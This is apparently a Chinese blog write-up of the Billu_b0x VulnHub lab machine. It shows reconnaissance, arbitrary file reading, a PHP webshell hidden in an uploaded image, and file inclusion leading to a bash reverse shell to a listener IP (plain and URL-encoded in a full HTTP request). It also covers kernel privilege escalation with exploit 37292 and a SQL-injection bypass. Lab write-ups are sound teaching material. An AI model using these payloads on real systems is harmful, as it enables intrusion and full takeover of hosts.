Billu_b0x 靶机 write up

0x00 环境搭建

下载链接

https://download.vulnhub.com/billu/Billu_b0x.zip

nat模式

0x01 信息收集

  • IP探测
    netdiscover -i eth0 -r 192.168.157.0/24
    在这里插入图片描述

  • 端口探测

    masscan -p 1-65535 --rate 1000 192.168.157.160 
    

在这里插入图片描述

nmap -A -sC -sV -p 22,80 192.168.157.160 -o port.txt
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-29 19:25 CST
Nmap scan report for 192.168.157.160
Host is up (0.00100s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 fa:cf:a2:52:c4:fa:f5:75:a7:e2:bd:60:83:3e:7b:de (DSA)
|   2048 88:31:0c:78:98:80:ef:33:fa:26:22:ed:d0:9b:ba:f8 (RSA)
|_  256 0e:5e:33:03:50:c9:1e:b3:e7:51:39:a4:4a:10:64:ca (ECDSA)
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: --==[[IndiShell Lab]]==--
MAC Address: 00:0C:29:C7:0D:20 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   1.00 ms 192.168.157.160

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.74 seconds

开启22
penSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)

和80 端口
Apache httpd 2.2.22

访问80端口 发现 一个登录框
并且提示

展示你的sql注入技巧

在这里插入图片描述

0x02 漏洞挖掘

  • 思路
    (1) sql注入 : 根据首页的sql注入提示,想办法注入成功
    (2)目录爆破 :看是否存在新页面,找其他漏洞
    (3)漏洞扫描 :爆破出新的页面,扔到awvs appscan xray 扫描
    (4)手动挖掘 : 爆破 出新的页面,用burp 测试 请求响应包,手动找漏洞
    (5)查看网页源码,看有没有意外收获
    (6)想办法获得 用户名和密码 登录ssh,如果能连进去,就不需要弹shell

  • 步骤一:测试首页sql注入
    (1)手工
    用户名 ’ or 1=1 # 密码随意
    用户名 admin ’ or 1=1 – 密码随意

都无法注入 ,js弹框 Try again
(2) sqlmap 跑

sqlmap -r sql.txt --level 3 --batch --dbs
或者
sqlmap.py -u “http://192.168.157.160” --data "un=admin&ps=admin&login=let%27s+login" --level 3

也没有测出sql注入,先放过。

  • 步骤2:跑目录
    为了得到更多的结果 以及 节省时间 同时
    (1) windows 使用御剑扫描目录
    (2) kali 使用 dirsearch 爆破

得到
/images 几张图片目录 可能结合 add.php有用

/test.php 显示’file’ parameter is empty. Please provide file path in ‘file’ parameter 存在任意文件下载漏洞

/add.php 存在上传图片的功能点 可能有用
/head.php 首页的背景图片
/index.php 首页
/show.php 空页面
/c.php 空页面

dirsearch 多扫出

/add 同add.php
/c 同c.php
/in phpinfo 页面 可利用
/index 同index.php
/phpmy phpmyadmin 可利用
/show 同 show.php
/test 同test.php
/panel.php 302至index.php

总结 利用点
/images 几张图片目录 可能结合 add.php有用

/test.php 显示’file’ parameter is empty. Please provide file path in ‘file’ parameter 存在任意文件下载漏洞

/add.php 存在上传图片的功能点 尝试上传没反应, 可能登录后才能使用

/in phpinfo 页面 可利用

/phpmy phpmyadmin 可能 可利用

  • 步骤3 : 尝试利用/test.php 下载网页源码
    (1)访问

http://192.168.157.160/test.php?file=/etc/passwd
失败,使用burpsuite中选择change request method方法,将get请求转换为post请求,获得passwd文件成功。

在这里插入图片描述
(2)通过这种方法,下载add.php in.php index.php show.php c.php panel.php 源码。 进行审计
而要知道网站绝对路径 可以通过 in.php 中的phpinfo 来找到
在这里插入图片描述
网站根目录在 /var/www

(3) 审计后 了解到

  1. c.php 为数据库连接文件

数据库名 ica_lab 账号billu 密码 b0x_billu

想到 之前 /phpmy目录,用该账号密码登录成功,获取到网站账号密码。

在这里插入图片描述
用户名 biLLu 密码 hEx_it

登录后台 可以上传图片 只能上传图片形式 寻找有没有文件包含漏洞

  1. 审计 panel.php 存在文件包含漏洞
    个人理解 如下图

在这里插入图片描述

0x03 获取shell

  1. 利用 文件包含 和上传图片 功能getshell

先找一个图片 在 文件末尾或者中间 加入

<?php system($_GET['cmd']); ?>

图片 应选择 不要过大过小,如果失败 多试几种,也可以下载 /uploaded_images/jack.jpg 直接修改 上传

  1. 上传成功后 执行反弹shell命命
    下方命令用url编码

    echo "bash -i >& /dev/tcp/192.168.157.137/8080 0>&1" | bash
    

在这里插入图片描述

kali 执行 nc -lvvp 8080

hackbar 执行命令

在这里插入图片描述

或者 直接 bp抓包 执行

poc

POST /panel.php?cmd=%65%63%68%6f%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%35%37%2e%31%33%37%2f%38%30%38%30%20%30%3e%26%31%22%20%7c%20%62%61%73%68 HTTP/1.1
Host: 192.168.157.160
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
Origin: http://192.168.157.160
Connection: close
Referer: http://192.168.157.160/panel.php
Cookie: PHPSESSID=1p0farv1f5kg16ivnpcj60c8m4
Upgrade-Insecure-Requests: 1

load=/uploaded_images/jack.jpg&continue=continue

反弹shell成功
在这里插入图片描述

可以再找一个 具有 可写权限的 目录 上传一个 菜刀马 方便上传文件
比如 /var/www/uploaded_images

  1. 还有一种思路
    利用test.php的文件包含 ,包含 phpmyadmin 配置文件(自行百度 phpmyadmin配置文件 位置 )
    /var/www/phpmy/config.in.php

刚好 读取出的 账号密码 经过尝试可以ssh登录 root账号 直接拿下root权限

在这里插入图片描述
在这里插入图片描述

0x04 提权

  • 查看内核 系统版本 寻找exp

      uname -a  
    
      cat /etc/issue
    

在这里插入图片描述

寻找exp

 ./linux-exploit-suggester.sh -u 'Linux indishell 3.13.0-32-generic #57~precise1-Ubuntu SMP Tue Jul 15 03:50:54 UTC 2014 i686 i686 i386 GNU/Linux'

尝试 这个 37292
在这里插入图片描述

  • 下载ubuntu 提权exp

      searchsploit -m 37292
    

在这里插入图片描述

  • 编译 提权
    直接上传到 靶机可执行目录中/tmp 或者
    /var/www/uploaded_images

     gcc  -o exp 37292.c 
    

(3) 执行exp,提权至root

./exp

提权成功在这里插入图片描述

0x05 思路总结

  • 思路 1

这篇靶机 通过 目录爆破到 一处任意文件下载页面,下载 爆破到的 文件 源码 + 审计后 利用后台页面存在的 文件包含 和文件上传 getshell
之后利用 ubuntu 内核漏洞 37292 提权 获得root权限

  • 思路2

还有 通过 下载到 phpmyadmin配置文件 源码
读取到 root账号密码 直接ssh登录

  • 思路3
    网站登录页面提示sql注入

之后审计源码后发现

过滤规则

$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));

将\ 替换为空

测试后 得到 payload 为

账号 or 1=1 – \
密码 or 1=1 – \

后续 同理 任意文件下载审计源码 文件包含+文件上传

猜你喜欢

转载自blog.csdn.net/YouthBelief/article/details/121617287